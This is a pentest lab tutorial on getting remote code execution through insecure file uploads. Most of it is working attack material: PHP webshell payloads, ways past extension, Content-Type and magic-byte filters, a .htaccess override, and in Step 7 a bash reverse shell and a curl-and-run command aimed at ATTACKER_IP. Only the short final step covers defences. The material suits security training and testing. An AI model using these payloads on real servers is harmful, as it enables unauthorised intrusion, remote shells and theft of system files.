🎯 Lab Objectives
- Understand why insecure file uploads lead to RCE
- Upload a basic PHP webshell and execute commands
- Bypass common client-side and server-side upload filters
- Escalate from webshell to a full reverse shell
Step 1 — Understanding the Vulnerability
When a web server allows file uploads and doesn't properly validate what's being uploaded, an attacker can upload a malicious script. If that script lands in a web-accessible directory, the attacker can browse to it and the server will execute it.
# Attack flow:
# 1. Find a file upload feature (profile pic, CV upload, etc.)
# 2. Upload a PHP webshell instead of an image
# 3. Server saves it to /uploads/shell.php
# 4. Browse to http://target.com/uploads/shell.php?cmd=whoami
# 5. Server executes PHP → you see: www-data
# What makes a server execute uploaded files?
# - File is saved to a web-accessible directory
# - Server has PHP/Python/etc. configured for that directory
# - File extension tells the server to execute it
Step 2 — Basic PHP Webshell
# Minimal webshell — passes URL parameter to system()
<?php system($_GET['cmd']); ?>
# Save as shell.php and upload
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Access it:
curl "http://target.com/uploads/shell.php?cmd=whoami"
curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php?cmd=cat+/etc/passwd"
# More feature-rich webshell variants:
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
# p0wnyshell — full web terminal in browser
# Download from: github.com/flozz/p0wny-shell
Step 3 — Bypassing Extension Filters
# If .php is blocked, try alternative PHP extensions
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.pht
shell.shtml
# Case variation (Windows servers)
shell.PHP
shell.Php
shell.pHp
# Add extra extensions
shell.php.jpg # if server strips .jpg, leaves .php
shell.php%00.jpg # null byte truncation (older PHP)
shell.php.... # trailing dots (Windows)
# For ASP.NET servers:
shell.asp
shell.aspx
shell.ashx
shell.config # sometimes interpreted
Step 4 — Bypassing Content-Type Check
# Intercept upload in Burp Suite
# Change Content-Type header from text/php to image/jpeg
# Original intercepted request:
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
# Modified — change the Content-Type:
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
# The server checks Content-Type: image/jpeg → allows it
# But saves and executes it as PHP!
Step 5 — Magic Bytes Bypass
Some servers check the file's magic bytes (first few bytes) to verify the file type. You can prepend a valid image header to your PHP payload.
# Add GIF header before PHP payload
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shell.php.gif
# Or manually add JPEG magic bytes (FFD8FF)
printf '\xff\xd8\xff' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
# PNG magic bytes: 89 50 4E 47
printf '\x89PNG\r\n' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
# exiftool — embed PHP in image metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg shell.jpg.php
Step 6 — Double Extensions & .htaccess
# Upload a .htaccess file to make the server execute .jpg as PHP
AddType application/x-httpd-php .jpg
# Save as .htaccess and upload
# Then upload your payload as shell.jpg
# The .htaccess tells Apache to run .jpg files through PHP!
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# Upload order:
# 1. Upload .htaccess
# 2. Upload shell.jpg (containing PHP code)
# 3. Access: http://target.com/uploads/shell.jpg?cmd=whoami
Step 7 — Escalating to Reverse Shell
# From webshell, download and execute a reverse shell
# Start listener on Kali:
nc -lvnp 4444
# Via webshell URL (URL-encode the &):
http://target.com/uploads/shell.php?cmd=bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261
# Or download a reverse shell script and execute
http://target.com/uploads/shell.php?cmd=curl+ATTACKER_IP/rs.sh+-o+/tmp/rs.sh%26%26bash+/tmp/rs.sh
Step 8 — How to Defend Against This
# 1. Validate file type server-side (MIME + magic bytes)
# Use PHP's finfo_file() — never trust $_FILES['type']
# 2. Rename uploaded files to random non-executable names
$filename = bin2hex(random_bytes(16)) . '.jpg';
# attacker uploads shell.php → stored as a8f3c9d2.jpg
# browsing to it → just downloads a JPEG, won't execute
# 3. Store uploads OUTSIDE the web root
/var/www/ → web root (accessible via browser)
/var/uploads/ → above web root (NOT accessible)
# 4. Disable execution in upload directory (nginx)
location /uploads/ {
location ~ \.php$ { deny all; }
}
Lab Complete! File upload vulnerabilities are everywhere. Always test upload features thoroughly during a pentest — they're one of the most direct paths to RCE.